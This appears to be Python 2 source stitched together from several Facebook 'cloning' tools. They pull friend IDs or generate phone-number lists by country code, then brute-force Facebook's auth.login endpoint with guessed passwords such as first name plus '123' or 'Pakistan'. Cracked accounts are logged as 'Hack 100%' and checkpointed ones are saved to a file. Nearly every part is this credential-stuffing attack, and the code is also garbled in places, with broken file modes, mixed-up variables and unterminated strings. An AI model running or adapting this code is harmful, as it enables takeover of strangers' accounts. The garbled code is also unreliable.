"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass1 oks.append(user + pass1) else: if 'www.facebook.com' in s["โ _msg"]: print '\x1b[1;93mโ \x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass1 cek = open("out/checkpoint.txt", "k") cek.write(user + "|" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = 'Pakistan' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass2 oks.append(user + pass2) else: if 'www.facebook.com' in s["โ _msg"]: print '\x1b[1;93mโ \x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass2 cek = open("out/checkpoint.txt", "k") cek.write(user + "|" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = y['first_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93 ' + pass3 oks.append(user + pass3) else: if 'www.facebook.com' in s["โ _msg"]: print '\x1b[1;93mโ \x1b[1;93m \x1b[1;93\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass3 cek = open("out/checkpoint.txt", "k") cek.write(user + "|" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = y['first_name'] + '1234' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m' + pass4 oks.append(user + pass4) else: if 'www.facebook.com' in s["โ _msg"]: print '\x1b[1;93mโ \x1b[1;93 \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass4 cek = open("out/checkpoint.txt", "k") cek.write(user + "|" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: pass5 = y['first_name'] + '12' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass5 oks.append(user + pass5) else: if 'www.facebook.com' in s[ "โ _msg"]: print '\x1b[1;93mError\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass5 cek = open( "out/checkpoint.txt", "k") cek.write(user + "|" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = y[ 'first_name'] + '786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass6 oks.append(user + pass6) else: if 'www.facebook.com' in s[ "โ _msg"]: print '\x1b[1;93mโ \x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass6 cek = open( "out/checkpoint.txt", "k") cek.write(user + "|" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) else: pass7 = 'Pakistan1' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass8 oks.append( user + pass8) else: if 'www.facebook.com' in s[ "โ _msg"]: print '\x1b[1;93mโ \x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass8 cek = open( "out/checkpoint.txt", "k") cek.write( user + "|" + pass8 + "\n") cek.close() cekpoint.append( user + pass7) s = json.load( data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass7 oks.append(user + pass7) else: if 'www.facebook.com' in s[ "โ _msg"]: print '\x1b[1;93mโ \x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass7 cek = open( "out/checkpoint.txt", "k") cek.write(user + "|" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) else: pass8 = 'Bangladesh' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass8 oks.append( user + pass8) else: if 'www.facebook.com' in s[ "โ _msg"]: print '\x1b[1;93mโ \x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass8 cek = open( "out/checkpoint.txt", "k") cek.write( user + "|" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) except: pass p = ThreadPool(30) p.map(main, id) print " ยฐยฐยฐยฐยฐยฐยฐยฐยฐยฐยฐยฐ " print " Written By shaheer" #Dev:shaheer print '\033[1;94mProcess Has Been Completed \033[1;94m....' print '\033[1;92mType (python2 Dvl.py) New Fb Start Cloning\033[1;92m....' print "\033[1;96mTotal Live/\x1b[1;96mCheckpoint \033[1;96m: \033[1;96m" + str( len(oks)) + "\033[1;96m/\033[1;96m" + str(len(cekpoint)) print """ \033[1;96m โขP R O C E S S D O N Eโข \033[1;92m CP ID AFTER 2 WEEKS (14DAYS) """ raw_input("\n\033[1;92m[\033[1;92mBack\033[1;92m]") crack()
def pilih_super(): peak = raw_input("\n\033[1;96mChoose an Option>>> \033[1;97m") if peak =="": print "\x1b[1;94mFill in correctly" pilih_super() elif peak =="1": os.system('clear') print logo print "\033[1;97mโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโข\033[1;93mALEX\033[1;97mโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌย โขโโข" jalan('\033[1;94mGetting IDs \033[1;94m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo idt = raw_input("\033[1;97m[โขโโข] \033[1;94mEnter ID\033[1;97m: \033[1;97m") print "\033[1;97mโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโข\033[1;93mALEX\033[1;97mโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโข" try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;97mName\033[1;97m:\033[1;96m "+op["name"] except KeyError: print"\x1b[1;97mID Not Found!" raw_input("\n\033[1;97m[\033[1;93mBack\033[1;97m]") super() print"\033[1;94mGetting IDs\033[1;97m..." r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="0": menu() else: print "\x1b[1;97mFill in correctly" pilih_super() print "\033[1;97mTotal IDs\033[1;97m: \033[1;94m"+str(len(id)) jalan('\033[1;94mPlease Wait\033[1;94m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;94mCloning\033[1;97m"+o),;sys.stdout.flush();time.sleep(1) print "\n\033[1;97mยซ--โขโโขโขโโข---\x1b[1;93mโขโโขStop Process Press CTRL+Zโขโโข\033[1;97m---โขโโขโขโโข-ยป" print "\033[1;97mโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโข\033[1;93mShabirBaloch\033[1;97mโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌย โขโโข" jalan(' \033[1;97m.................\033[1;93mCloning Start..\033[1;97m............ ') print "\033[1;97mโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโข\033[1;93mShabirBaloch\033[1;97mโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌย โขโโข" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass #Dev:baloch_hacker try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = b['first_name'] + b['last_name'] data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%๐\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = '786786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%๐\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = b['first_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%๐\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = b['first_name'] + '1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%๐\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = b['first_name'] + '12 data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%๐\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass5 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = b['first_name'] + '123456' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%๐\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass6 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass7 = b['first_name'] + '786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mHack 100%๐\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96mโฌ\x1b[1;97m-' + user + '-\x1b[1;96mโฌ\x1b[1;97m-' + pass7 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(50) p.map(main, id) print "\033[1;96mโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโข\033[1;93mALEX\033[1;96mโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโข" print " \033[1;93mยซ---โขโโข---Developed By baloch-Hacker--โขโโข---ยป" #Dev:Alex_hacker print '\033[1;96mโ Process Has Been Completed Pressโก Ctrl+Z.โฉ Next Type (python2 Sarif.py)โฉ\033[1;97m....' print"\033[1;92mTotal OK/\x1b[1;93mCP \033[1;93m: \033[1;97m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint)) print """ ยธ,.-~ยทยนยดยจยจยจยจยจยจยจยจยจยจยจยจยจยจ`ยฒยท~-.,ยธ .ยทยด;:': `ยท. .ยทยด;;:: ': `ยท. ' .ยทยด;;;::: : ' \ /;;;.ยทยดยจยจยจ` ยท . . ยท ยดยจยจยจยจ`ยท. ', ,';;;/;:: : `ยท. ' ยท' \ ; ;';,';;::: :' '\ ยท: ', ; ;'/ยธ.ยทยดยจยจ` ยท . `ยท. ', ! ,': .ยทยด . ยท ยดยจยจยจยจ`ยท.ยธ\ ; ',;;',::: `ยท. '; ;:: .ยทยด / ,' ',;;'\:: ' \ '; ;: ,' / .ยทยด ,' ' `ยท.;'`ยท. '', ; ; ,' .ยทยด ยธ.ยทยด '`ยท.: `ยนยท~-.,ยธ \ ,' ',/ยธ,.-~ยทยนยด ' .ยทยด `ยท.;:' `'` ยด'ยด ' .ยทยด `ยท.: ยด ` .ยทยด `ยท.,ยธ ยธ,.-ย. .ยทยด ยท;~-.ยธ ยธ,.;ยด Checkpoint ID Open After 7 Days โข\033[1;93mโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโข. : \033[1;96m ....sarif chora alex....... \033[1;93m : โข\033[1;93mโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโขโฌย โฌย โฌย โฌย โฌย โฌย โฌโขโโข.' WhatsApp Num \033[1;96m +917890345599""" raw_input("\n\033[1;93m[\033[1;96mBack\033[1;93m]") menu()
def pb(): bp = raw_input(W + ' โฌ๐ต๐ฐ๐ฒ๐ด๐ฑ๐พ๐พ๐บโฌ ') if bp == '': print(R + 'Select a valid option !') pb() elif bp == '1': cb() print(logo) r = requests.get( 'https://graph.facebook.com/me/friends?access_token=' + tb) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif bp == '2': cb() print(logo) idt = raw_input(S + '[โ] ' + G + 'Put Public User ID/User Name: ' + W + '') cb() print(logo) try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + tb) op = json.loads(jok.text) psb(S + '[โ]' + G + ' Account Name: ' + W + op['name']) except KeyError: print(R + ' ID not found !') raw_input(R + ' Back') pak() r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + tb) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif bp == '3': cb() print(logo) try: idlist = raw_input(S + '[โ] ' + R + 'Enter File Path: ' + G + '') for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print(R + ' File Not Fount !') raw_input(R + ' Back') pak() elif bp == '0': menu() else: print(R + ' Select a valid option !') pb() print(S + '[โ]' + P + ' Total Friends: ' + W + str(len(id))) psb(S + '[โ]' + S + ' To stop process click on CTRL ~ Z') print print(S + 50 * '-') print def main(arg): global cps, oks user = arg try: h = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + tb) j = json.loads(h.text) ps1 = ('786786') dt = urllib.urlopen( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' ) k = json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S + '[CP] โก ' + user + ' โก ' + ps1) cps.append(user + ps1) else: if 'access_token' in k: print(G + '[OK] โก ' + user + ' โก ' + ps1) oks.append(user + ps1) else: ps2 = (j['first_name'] + '123') dt = urllib.urlopen( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' ) k = json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S + '[CP] โก ' + user + ' โก ' + ps2) cps.append(user + ps2) else: if 'access_token' in k: print(G + '[OK] โก ' + user + ' โก ' + ps2) oks.append(user + ps2) else: ps3 = (j['first_name'] + '786') dt = urllib.urlopen( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' ) k = json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S + '[CP] โก ' + user + ' โก ' + ps3) cps.append(user + ps3) else: if 'access_token' in k: print(G + '[OK] โก ' + user + ' โก ' + ps3) oks.append(user + ps3) else: ps4 = (j['first_name'] + '12345') dt = urllib.urlopen( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' ) k = json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S + '[CP] โก ' + user + ' โก ' + ps4) cps.append(user + ps4) else: if 'access_token' in k: print(G + '[OK] โก ' + user + ' โก ' + ps4) oks.append(user + ps4) else: ps5 = ('Pakistan') dt = urllib.urlopen( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' ) k = json.load(dt) if 'www.facebook.com' in k[ 'error_msg']: print(S + '[CP] โก ' + user + ' โก ' + ps5) cps.append(user + ps5) else: if 'access_token' in k: print(G + '[OK] โก ' + user + ' โก ' + ps5) oks.append(user + ps5) else: ps6 = (j['first_name'] + 'khan') dt = urllib.urlopen( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' ) k = json.load(dt) if 'www.facebook.com' in k[ 'error_msg']: print(S + '[CP] โก ' + user + ' โก ' + ps6) cps.append(user + ps6) else: if 'access_token' in k: print(G + '[OK] โก ' + user + ' โก ' + ps6) oks.append(user + ps6) except: pass p = ThreadPool(30) p.map(main, id) print print(S + 50 * '-') print print(S + 'Process has been completed CP ID Open After 7 Days ') print(Y + 'Total ' + G + 'OK' + S + '/' + P + 'CP' + S + ' = ' + G + str(len(oks)) + S + '/' + R + str(len(cps))) print(S + 'xidi pakistani') print raw_input(R + 'Back') os.system('python2 xidi123.py')
def action(): global cpb global oks lovehackerx = raw_input('\n\x1b[1;94mChoose an Option > > \x1b[1;95m') if lovehackerx == '': print '\x1b[1;91m[!] Fill in correctly' action() elif lovehackerx == '1': os.system('clear') print logo print '\x1b[1;93m175,165,191, 192, 193, 194, 195, 196, 197, 198, 199' try: c = raw_input('\x1b[1;94m choose code : ') k = '+880' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '2': os.system('clear') print logo print '\x1b[1;93m555,786, 815, 315, 256, 401, 718, 917, 202, 701, 303, 703, 803, 999, 708' try: c = raw_input('\x1b[1;94m choose code : ') k = '+1' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '3': os.system('clear') print logo print '\x1b[1;93m715,785,765,725,745,735,737, 706, 748, 783, 739, 759, 790' try: c = raw_input(' \x1b[1;94mchoose code : ') k = '+44' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '4': os.system('clear') print logo print '\x1b[1;93m905,975,755,855,954, 897, 967, 937, 700, 727, 965, 786, 874, 856, 566, 590, 527, 568, 578' try: c = raw_input(' \x1b[1;94mchoose code : ') k = '+91' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '5': os.system('clear') print logo print '\x1b[1;93m127, 179, 117, 853, 318, 219, 834, 186, 479, 113' try: c = raw_input('\x1b[1;94m choose code : ') k = '+55' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '6': os.system('clear') print logo print '\x1b[1;93m11, 12, 19, 16, 15, 13, 14, 18, 17' try: c = raw_input('\x1b[1;94m choose code : ') k = '+81' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '7': os.system('clear') print logo print '\x1b[1;93m1, 2, 3, 4, 5, 6, 7, 8, 9' try: c = raw_input('\x1b[1;94m choose code : ') k = '+82' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '8': os.system('clear') print logo print '\x1b[1;93m311,323,385,388, 390, 391, 371, 380, 368, 386, 384, 332, 344, 351, 328' try: c = raw_input('\x1b[1;94m choose code : ') k = '+39' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '9': os.system('clear') print logo print '\x1b[1;93m655,755,60, 76, 73, 64, 69, 77, 65, 61, 75, 68' try: c = raw_input('\x1b[1;94m choose code : ') k = '+34' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '10': os.system('clear') print logo print '\x1b[1;93m66, 69, 78, 79, 60, 72, 67, 53, 51' try: c = raw_input('\x1b[1;94m choose code : ') k = '+48' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '11': os.system('clear') print logo print '\x1b[1;93m01, to , 49' try: c = raw_input('\x1b[1;94m choose code : ') k = '+923' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '12': os.system('clear') print logo print '\x1b[1;93m81,83,85,84,89,' try: c = raw_input('\x1b[1;94m choose code : ') k = '+880' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '13': os.system('clear') print logo print '\x1b[1;97m(leave the first four digits and the last seven digits of any phone number in this country.Write the remaining digits here.69,693,698,694,695' try: c = raw_input('\x1b[1;93m choose code : ') k = '+3069' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '14': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.455' try: c = raw_input('\x1b[1;94m choose code : ') k = '+61' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '15': os.system('clear') print logo print '\x1b[1;93m(leave the first one digits and the last seven digits of any phone number in this country.Write the remaining digits here.555,' try: c = raw_input('\x1b[1;94m choose code : ') k = '+1' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '16': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.1355,1555,1855,' try: c = raw_input(' \x1b[1;94mchoose code : ') k = '+86' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '17': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.2,3,4,5,6,7,8' try: c = raw_input(' \x1b[1;94mchoose code : ') k = '+45' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '18': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this 